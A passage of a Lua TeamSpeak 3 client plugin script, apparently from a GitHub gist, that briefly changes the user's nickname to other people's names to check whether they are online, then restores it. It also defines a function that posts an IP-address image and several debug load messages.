-- wsleep(0.1) | |
local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_client_nickname_inuse then | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=red]Lore ist gerade online![/color][/b]") | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=green]Lore ist gerade offline![/color][/b]") | |
-- else | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=grey]Onlinestatus von Lore unbekannt![/color][/b]") | |
-- end | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "Kev") | |
-- wsleep(0.1) | |
local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_client_nickname_inuse then | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=red]Kev ist gerade online![/color][/b]") | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=green]Kev ist gerade offline![/color][/b]") | |
-- else | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=grey]Onlinestatus von Kev unbekannt![/color][/b]") | |
-- end | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, "Sling") | |
-- wsleep(0.1) | |
local error = ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
-- if error == ts3errors.ERROR_client_nickname_inuse then | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=red]Sling ist gerade online![/color][/b]") | |
-- elseif error ~= ts3errors.ERROR_ok then | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=green]Kev ist gerade offline![/color][/b]") | |
-- else | |
-- ts3.printMessageToCurrentTab(mtGCheckerPrefix.." [b][color=grey]Onlinestatus von Kev unbekannt![/color][/b]") | |
-- end | |
wsleep(0.1) | |
ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, oldNick) | |
-- wsleep(0.1) | |
ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
end | |
-- function clockName(serverConnectionHandlerID) | |
-- local systemTime = (os.date("%c")) | |
-- local systemTime = (os.date("%H:%M")) | |
-- local systemTime = (os.date("%d.%m.%Y | %H:%M")) | |
-- ts3.setClientSelfVariableAsString(serverConnectionHandlerID, ts3defs.ClientProperties.CLIENT_NICKNAME, systemTime) | |
-- ts3.flushClientSelfUpdates(serverConnectionHandlerID) | |
-- end | |
function myIP(ServerConnectionHandlerID) | |
ts3.printMessageToCurrentTab("[img]http://www.anonym-surfen.com/ip-adresse.png?full=2&color=33333&width=350[/img]") | |
end | |
-- -----------------------------=LOGGING=------------------------------------- | |
if EMC_DEBUG == true then | |
-- local logMSG = ("loading..." --, SCRIPT , VERSION) | |
ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPTSHORT .."[/color] functions loaded.") | |
-- Log(LogMSG) | |
end | |
-- ____________________________-=LOGGING=-____________________________________ | |
-- End of functions | |
----------------------------------------------------------------------------------------------------------- | |
-- Print Message that Script has been loaded. | |
----------------------------------------------------------------------------------------------------------- | |
-- -----------------------------=LOGGING=------------------------------------- | |
if EMC_DEBUG == true then | |
-- local logMSG = " ".. SCRIPT .." ".. VERSION .. " loaded. Use [color=red]/lua run mhcmds[/color] to see a list of commands!" | |
ts3.printMessageToCurrentTab("[color=darkgreen]".. SCRIPT .."[/color] [color=white][[/color][color=orange]".. VERSION .."[/color][color=white]][/color] successfully started.") | |
ts3.printMessageToCurrentTab("[b][u][i]".. HLPTXT .."[/i][/u][/b]") | |
ts3.printMessageToCurrentTab("[color=".. RANDCOL .."]_-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-_[/color]") | |
-- Log(LogMSG) | |
-- CSCHID = ts3.getCurrentServerConnectionHandlerID() | |
-- LoadMsg (CSCHID, SCRIPT, VERSION, "") | |
end | |
-- ____________________________-=LOGGING=-____________________________________ |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment